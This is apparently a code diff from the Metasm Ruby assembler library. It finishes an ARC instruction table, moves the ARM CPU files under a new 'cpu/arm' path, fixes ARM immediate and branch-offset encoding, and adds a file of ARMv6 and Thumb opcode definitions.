add_artihm_op_reduce 'rnd16', 0b00101, 0b000011
add_artihm_op_reduce 'ror', 0b00100, 0b000011
add_artihm_op 'ror', 0b00101, 0b000011, :extended
add_artihm_op_reduce 'rrc', 0b00100, 0b000100
add_artihm_op 'rsub', 0b00100, 0b001110
addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec
add_artihm_op_reduce 'sat16', 0b00101, 0b000010
add_artihm_op 'sbc', 0b00100, 0b000011
add_artihm_op_reduce 'sexb', 0b00100, 0b000101
add_artihm_op_reduce 'sexbw', 0b00100, 0b000110
# 0b00100001011011110000uuuuuu111111
addop32 'sleep', 0b00100001011011110000000000111111, :u6
# 0b00100bbb001010110BBBCCCCCCRRRRRR
addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext
# 0b00100110101010110111CCCCCCRRRRRR
addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12
# WTF: unknown encoding
addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12
# 0b00011bbbssssssssSBBBCCCCCCDaaZZR
addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5
add_artihm_op 'sub', 0b00100, 0b000010
add_artihm_op 'sub1', 0b00100, 0b010111
add_artihm_op 'sub2', 0b00100, 0b011000
add_artihm_op 'sub3', 0b00100, 0b011001
# WTF: same encoding as xor instructions
#add_artihm_op 'subs', 0b00100, 0b000111
add_artihm_op 'subsdw', 0b00101, 0b101001, :extended
add_artihm_op_reduce 'swap', 0b00101, 0b000000
addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec
addop32 'sync', 0b00100011011011110000000000111111
# 0b00100bbb100010111BBBssssssSSSSSS
addop32 'tst', 0b00100000100010111000000000000000, :b, :s12
# 0b00100bbb110010111BBBCCCCCC0QQQQQ
addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond
# 0b00100bbb110010111BBBuuuuuu1QQQQQ
addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond
add_artihm_op 'xor', 0b00100, 0b000111
end
# ARCompact 16-bit instructions
def init_arc_compact16
addop16 'abs_s', 0x7811, :cb, :cc
addop16 'add_s', 0x6018, :ca, :cb, :cc
addop16 'add_s', 0x7000, :cb, :cb2, :ch
addop16 'add_s', 0x6800, :cc, :cb, :cu3
addop16 'add_s', 0xe000, :cb, :cb2, :cu7
# same encoding as add_s b,b,h
#addop16 'add_s', 0x70c7, :cb, :cb2, :climm
addop16 'add_s', 0xc080, :cb, :sp, :cu5ee
addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee
addop16 'add_s', 0xce00, :cr0, :gp, :cs9
addop16 'add1_s', 0x7814, :cb, :cb2, :cc
addop16 'add2_s', 0x7815, :cb, :cb2, :cc
addop16 'add3_s', 0x7816, :cb, :cb2, :cc
addop16 'and_s', 0x7804, :cb, :cb2, :cc
addop16 'asl_s', 0x7818, :cb, :cb2, :cc
addop16 'asl_s', 0x6810, :cc, :cb, :cu3
addop16 'asl_s', 0xb800, :cb, :cb2, :cu5
addop16 'asl_s', 0x781b, :cb, :cc
addop16 'asr_s', 0x781a, :cb, :cb2, :cc
addop16 'asr_s', 0x6818, :cc, :cb, :cu3
addop16 'asr_s', 0xb840, :cb, :cb2, :cu5
addop16 'asr_s', 0x781c, :cb, :cc
addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec
addop16 'beq_s', 0xf200, :cdisps10, :setip
addop16 'bne_s', 0xf400, :cdisps10, :setip
addop16 'bgt_s', 0xf600, :cdisps7, :setip
addop16 'bge_s', 0xf640, :cdisps7, :setip
addop16 'blt_s', 0xf680, :cdisps7, :setip
addop16 'ble_s', 0xf6c0, :cdisps7, :setip
addop16 'bhi_s', 0xf700, :cdisps7, :setip
addop16 'bhs_s', 0xf740, :cdisps7, :setip
addop16 'blo_s', 0xf780, :cdisps7, :setip
addop16 'bls_s', 0xf7c0, :cdisps7, :setip
addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5
addop16 'bic_s', 0x7806, :cb, :cb2, :cc
addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec
addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5
addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip
addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip
addop16 'brk_s', 0x7fff
addop16 'bset_s', 0xb880, :cb, :cb2, :cu5
addop16 'btst_s', 0xb8e0, :cb, :cu5
addop16 'cmp_s', 0x7010, :cb, :ch
addop16 'cmp_s', 0xe080, :cb, :cu7
# encoded over cmp_s b,h
# addop16 'cmp_s', 0x70d7, :cb, :limm
addop16 'extb_s', 0x780f, :cb, :cc
addop16 'extw_s', 0x7810, :cb, :cc
addop16 'j_s', 0x7800, :@cb, :setip, :stopexec
addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot
addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec
addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot
addop16 'jeq_s', 0x7ce0, :@blink, :setip
addop16 'jne_s', 0x7de0, :@blink, :setip
addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec
addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot
addop16 'ld_s', 0x6000, :ca, :@cbcc
addop16 'ldb_s', 0x6008, :ca, :@cbcc
addop16 'ldw_s', 0x6010, :ca, :@cbcc
addop16 'ld_s', 0x8000, :cc, :@cbu7
addop16 'ldb_s', 0x8800, :cc, :@cbu5
addop16 'ldw_s', 0x9000, :cc, :@cbu6
addop16 'ldw_s.x', 0x9800, :cc, :@cbu6
addop16 'ld_s', 0xc000, :cb, :@cspu7
addop16 'ldb_s', 0xc020, :cb, :@cspu7
addop16 'ld_s', 0xc800, :cr0, :@gps11
addop16 'ldb_s', 0xca00, :cr0, :@gps9
addop16 'ldw_s', 0xcc00, :cr0, :@gps10
addop16 'ld_s', 0xd000, :cb, :@pclu10
# FIXME: exact same encoding as asl_s instructions
#addop16 'lsl_s', 0x7818, :cb, :cb2, :cc
#addop16 'lsl_s', 0x6810, :cc, :cb, :cu3
#addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5
#addop16 'lsl_s', 0x781d, :cb, :cc
addop16 'lsr_s', 0x7819, :cb, :cb2, :cc
addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5
addop16 'lsr_s', 0x781d, :cb, :cc
addop16 'mov_s', 0x7008, :cb, :ch
# FIXME: same encoding as previous instruction
#addop16 'mov_s', 0x70cf, :cb, :limm
addop16 'mov_s', 0xd800, :cb, :cu8
addop16 'mov_s', 0x7018, :ch, :cb
# TODO seems to overlap with previous instruction
addop16 'mov_s', 0x70df, :zero, :cb
addop16 'mul64_s', 0x780c, :zero, :cb, :cc
addop16 'neg_s', 0x7813, :cb, :cc
addop16 'not_s', 0x7812, :cb, :cc
addop16 'nop_s',0x78e0
addop16 'unimp_s', 0x79e0
addop16 'or_s', 0x7805, :cb, :cb2, :cc
addop16 'pop_s', 0xc0c1, :cb
addop16 'pop_s', 0xc0d1, :blink
addop16 'push_s', 0xc0e1, :cb
addop16 'push_s', 0xc0f1, :blink
addop16 'sexb_s', 0x780d, :cb, :cc
addop16 'sexw_s', 0x780e, :cb, :cc
addop16 'st_s', 0xc040, :cb, :@cspu7
addop16 'stb_s', 0xc060, :cb, :@cspu7
addop16 'st_s', 0xa000, :cc, :@cbu7
addop16 'stb_s', 0xa800, :cc, :@cbu5
addop16 'stw_s', 0xb000, :cc, :@cbu6
addop16 'sub_s', 0x7802, :cb, :cb2, :cc
addop16 'sub_s', 0x6808, :cc, :cb, :cu3
addop16 'sub_s', 0xb860, :cb, :cb2, :cu5
addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee
addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3
addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec
addop16 'tst_s', 0x780b, :cb, :cc
addop16 'xor_s', 0x7807, :cb, :cb2, :cc
end
end
end

View File

@ -3,10 +3,12 @@
#
# Licence is LGPL, see LICENCE in the top-level directory
class Metasm::ARM < Metasm::CPU
end
require 'metasm/main'
require 'metasm/arm/parse'
require 'metasm/arm/encode'
require 'metasm/arm/decode'
require 'metasm/arm/render'
require 'metasm/arm/debug'
require 'metasm/cpu/arm/parse'
require 'metasm/cpu/arm/encode'
require 'metasm/cpu/arm/decode'
require 'metasm/cpu/arm/render'
require 'metasm/cpu/arm/debug'

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/arm/opcodes'
require 'metasm/cpu/arm/opcodes'
module Metasm
class ARM
@ -15,7 +15,7 @@ class ARM
@dbg_register_flags ||= :flags
end
def dbg_register_list
def dbg_register_list
@dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc]
end

View File

@ -3,7 +3,7 @@
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/arm/opcodes'
require 'metasm/cpu/arm/opcodes'
require 'metasm/decode'
module Metasm
@ -38,7 +38,7 @@ class ARM
end
def decode_findopcode(edata)
return if edata.ptr >= edata.data.length
return if edata.ptr+4 > edata.length
di = DecodedInstruction.new(self)
val = edata.decode_imm(:u32, @endianness)
di.instance_variable_set('@raw', val)
@ -58,11 +58,11 @@ class ARM
op = di.opcode
di.instruction.opname = op.name
val = di.instance_variable_get('@raw')
field_val = lambda { |f|
r = (val >> @fields_shift[f]) & @fields_mask[f]
case f
when :i16; Expression.make_signed(r, 16)
when :i12; Expression.make_signed(r, 12)
when :i24; Expression.make_signed(r, 24)
when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf)
when :stype; [:lsl, :lsr, :asr, :ror][r]
@ -88,7 +88,8 @@ class ARM
di.instruction.args << case a
when :rd, :rn, :rm; Reg.new field_val[a]
when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs])
when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2
when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]
when :i12; Expression[field_val[a]]
when :i24; Expression[field_val[a] << 2]
when :i8_r
i = field_val[:i8]
@ -99,14 +100,14 @@ class ARM
o = case a
when :mem_rn_rm; Reg.new(field_val[:rm])
when :mem_rn_i8_12; field_val[:i8_12]
when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2)
when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti])
when :mem_rn_i12; field_val[:i12]
end
Memref.new(b, o, field_val[:u], op.props[:baseincr])
when :reglist
di.instruction.args.last.updated = true if op.props[:baseincr]
msk = field_val[a]
l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact)
l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact)
l.usermoderegs = true if op.props[:usermoderegs]
l
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
@ -118,7 +119,7 @@ class ARM
end
def decode_instr_interpret(di, addr)
if di.opcode.args.include? :i24
if di.opcode.args[-1] == :i24
di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8]
end
di
@ -127,7 +128,7 @@ class ARM
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def init_backtrace_binding
@backtrace_binding ||= {}
end
@ -140,9 +141,9 @@ class ARM
else arg
end
}
if binding = backtrace_binding[di.opcode.name]
bd = binding[di, *a]
binding[di, *a]
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
# assume nothing except the 1st arg is modified
@ -154,7 +155,7 @@ class ARM
end
end
def get_xrefs_x(dasm, di)
if di.opcode.props[:setip]
[di.instruction.args.last]

View File

@ -4,15 +4,15 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/arm/opcodes'
require 'metasm/cpu/arm/opcodes'
require 'metasm/encode'
module Metasm
class ARM
def encode_instr_op(section, instr, op)
def encode_instr_op(program, instr, op)
base = op.bin
set_field = lambda { |f, v|
v = v.reduce if v.kind_of? Expression
v = v.reduce if v.kind_of?(Expression)
case f
when :i8_12
base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]]
@ -42,7 +42,7 @@ class ARM
when :rm_is
set_field[:rm, arg.i]
set_field[:stype, arg.stype]
set_field[:shifti, arg.shift/2]
set_field[:shifti, arg.shift]
when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12
set_field[:rn, arg.base.i]
case sym
@ -61,17 +61,32 @@ class ARM
when :reglist
set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }]
when :i8_r
# XXX doublecheck this
b = arg.reduce & 0xffffffff
r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) }
r = (0..15).find {
next true if b < 0x100
b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
false
}
raise EncodeError, "Invalid constant" if not r
set_field[:i8, b]
set_field[:rotate, r]
when :i16, :i24
when :i12, :i24
val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym]
end
}
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
if op.args[-1] == :i24
# convert label name for branch to relative offset
label = program.new_label('l_'+op.name)
target = val
target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr
val = Expression[[target, :-, [label, :+, 8]], :>>, 2]
EncodedData.new('', :export => { label => 0 }) <<
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
else
Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness)
end
end
end
end

View File

@ -68,8 +68,5 @@ class ARM < CPU
@opcode_list
end
end
class ARM_THUMB < ARM
end
end

View File

@ -0,0 +1,323 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/arm/main'
module Metasm
class ARM
private
# ARM MODE
def addop(name, bin, *args)
args << :cond if not args.delete :uncond
suppl = nil
o = Opcode.new name, bin
args.each { |a|
# Should Be One fields
if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end
if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end
if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end
if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end
o.args << a if @valid_args[a]
o.props[a] = true if @valid_props[a]
o.props.update a if a.kind_of?(Hash)
# special args -> multiple fields
suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti],
:rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u],
:mem_rn_i8_12 => [:rn, :i8_12, :u],
:mem_rn_rms => [:rn, :rm, :stype, :shifti, :i],
:mem_rn_i12 => [:rn, :i12, :u]
}[a]
}
args.concat suppl if suppl
args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
@opcode_list << o
end
def addop_data_s(name, op, a1, a2, *h)
addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
addop name, op, a1, a2, :rm_is, *h
addop name, op | (1 << 4), a1, a2, :rm_rs, *h
end
def addop_data(name, op, a1, a2)
addop_data_s name, op << 21, a1, a2
addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
end
def addop_load_puw(name, op, *a)
addop name, op, {:baseincr => :post}, :rd, :u, *a
addop name, op | (1 << 24), :rd, :u, *a
addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
end
def addop_load_lsh_o(name, op)
addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
end
def addop_load_lsh
op = 9 << 4
addop_load_lsh_o 'strh', op | (1 << 5)
addop_load_lsh_o 'ldrd', op | (1 << 6)
addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5)
addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5)
addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
end
def addop_load_puwt(name, op, *a)
addop_load_puw name, op, *a
addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
end
def addop_load_o(name, op, *a)
addop_load_puwt name, op, :mem_rn_i12, *a
addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
end
def addop_load(name, op)
addop_load_o name, op
addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
end
def addop_ldm_go(name, op, *a)
addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
end
def addop_ldm_w(name, op, *a)
addop_ldm_go name, op, *a # base reg untouched
addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated
end
def addop_ldm_s(name, op)
addop_ldm_w name, op # transfer regs
addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs
end
def addop_ldm_p(name, op)
addop_ldm_s name+'a', op # target memory included
addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr
end
def addop_ldm_u(name, op)
addop_ldm_p name+'d', op # transfer made downward
addop_ldm_p name+'i', op | (1 << 23) # transfer made upward
end
def addop_ldm(name, op)
addop_ldm_u name, op
end
# ARMv6 instruction set, aka arm7/arm9
def init_arm_v6
@opcode_list = []
[:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle
].each { |p| @valid_props[p] = true }
[:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is,
:i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
].each { |p| @valid_args[p] = true }
@fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
:crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
:rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
:shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
:i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
:u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
@fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
:crn => 16, :crd => 12, :crm => 0, :cpn => 8,
:rnx => 16, :rdx => 12, :rsx => 8,
:shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
:i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
:u => 23, :mask => 16, :sbo => 12, :cond => 28
addop_data 'and', 0, :rd, :rn
addop_data 'eor', 1, :rd, :rn
addop_data 'xor', 1, :rd, :rn
addop_data 'sub', 2, :rd, :rn
addop_data 'rsb', 3, :rd, :rn
addop_data 'add', 4, :rd, :rn
addop_data 'adc', 5, :rd, :rn
addop_data 'sbc', 6, :rd, :rn
addop_data 'rsc', 7, :rd, :rn
addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn
addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn
addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn
addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn
addop_data 'orr', 12, :rd, :rn
addop_data 'or', 12, :rd, :rn
addop_data 'mov', 13, :rd, :rnx
addop_data 'bic', 14, :rd, :rn
addop_data 'mvn', 15, :rd, :rnx
addop 'b', 0b1010 << 24, :setip, :stopexec, :i24
addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef
addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24
addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8
addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8
addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8
addop_load 'str', (1 << 26)
addop_load 'ldr', (1 << 26) | (1 << 20)
addop_load_lsh
addop_ldm 'stm', (1 << 27)
addop_ldm 'ldm', (1 << 27) | (1 << 20)
# TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html)
# fd = full descending stmfd/ldmfd = stmdb/ldmia
# ed = empty descending stmed/ldmed = stmda/ldmib
# fa = full ascending stmfa/ldmfa = stmib/ldmda
# ea = empty ascending stmea/ldmea = stmia/ldmdb
# TODO mrs, [qus]add/sub*
addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8
addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0
addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8
addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8
addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8
addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8
end
# THUMB2 MODE
def addop_t(name, bin, *args)
o = Opcode.new name, bin
args.each { |a|
o.args << a if @valid_args[a]
o.props[a] = true if @valid_props[a]
o.props.update a if a.kind_of?(Hash)
}
args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] }
@opcode_list_t << o
end
def init_arm_thumb2
@opcode_list_t = []
@valid_props_t = {}
@valid_args_t = {}
@fields_mask_t = {}
@fields_shift_t = {}
[:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true }
[:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true }
@fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f,
:rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7
@fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3,
:rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8
addop_t 'mov', 0b000_00 << 11, :rd, :rm
addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5
addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5
addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5
addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm
addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3
addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm
addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3
addop_t 'mov', 0b001_00 << 10, :rdn8, :i8
addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8
addop_t 'add', 0b001_10 << 10, :rdn8, :i8
addop_t 'sub', 0b001_11 << 10, :rdn8, :i8
addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm
addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor
addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm
addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm
addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm
addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm
addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm
addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm
addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm
addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm
addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm
addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm
addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or
addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm
addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm
addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm
addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn
addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn
addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn
addop_t 'bx', 0b010001_110 << 7, :rm
addop_t 'blx', 0b010001_111 << 7, :rm
addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8
addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm
addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm
addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm
addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm
addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm
addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm
addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm
addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm
addop_t 'str', 0b01100 << 11, :rd, :rn, :i5
addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5
addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5
addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5
addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5
addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5
addop_t 'str', 0b10010 << 11, :rd, :sp_i8
addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8
addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8
addop_t 'add', 0b10101 << 11, :rd, :sp, :i8
# 0b1011 misc
addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7
addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7
addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn
addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn
addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn
addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn
addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51
addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51
addop_t 'push', 0b1011_0100 << 8, :rlist
addop_t 'push', 0b1011_0101 << 8, :rlist
addop_t 'pop', 0b1011_1100 << 8, :rlist
addop_t 'pop', 0b1011_1101 << 8, :rlist
#addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4
addop_t 'setendle', 0b1011_0110_0101_0000
addop_t 'setendbe', 0b1011_0110_0101_1000
addop_t 'cps', 0b1011_0110_0110_0000
#addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111
addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn
addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn
addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn
addop_t 'bkpt', 0b1011_1110 << 8, :i8
addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk
addop_t 'nop', 0b1011_1111_0000_0000
addop_t 'yield', 0b1011_1111_0000_0001
addop_t 'wfe', 0b1011_1111_0000_0010
addop_t 'wfi', 0b1011_1111_0000_0011
addop_t 'sev', 0b1011_1111_0000_0100
addop_t 'nop', 0b1011_1111_0000_0000, :i4
addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea
addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd
addop_t 'undef', 0b1101_1110 << 8, :i8
addop_t 'svc', 0b1101_1111 << 8, :i8
addop_t 'b', 0b1101 << 12, :cond, :i8
addop_t 'b', 0b11100 << 11, :i11
# thumb-32
end
def init_arm_v6_thumb2
init_arm_v6
init_arm_thumb2
end
alias init_latest init_arm_v6_thumb2
end
end

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/arm/opcodes'
require 'metasm/cpu/arm/opcodes'
require 'metasm/parse'
module Metasm
@ -26,24 +26,32 @@ class ARM
def parse_arg_valid?(op, sym, arg)
case sym
when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg
when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer
when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression
when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg)
when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer)
when :i12, :i24, :i8_12; arg.kind_of?(Expression)
when :i8_r
if arg.kind_of?(Expression)
b = arg.reduce
!b.kind_of?(Integer) or (0..15).find {
b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
b < 0x100 }
end
when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
os = case sym
when :mem_rn_rm; :rm
when :mem_rn_i8_12; :i8_12
when :mem_rn_rms; :rm_rs
when :mem_rn_i12; :i16
when :mem_rn_i12; :i12
end
arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset)
when :reglist; arg.kind_of? RegList
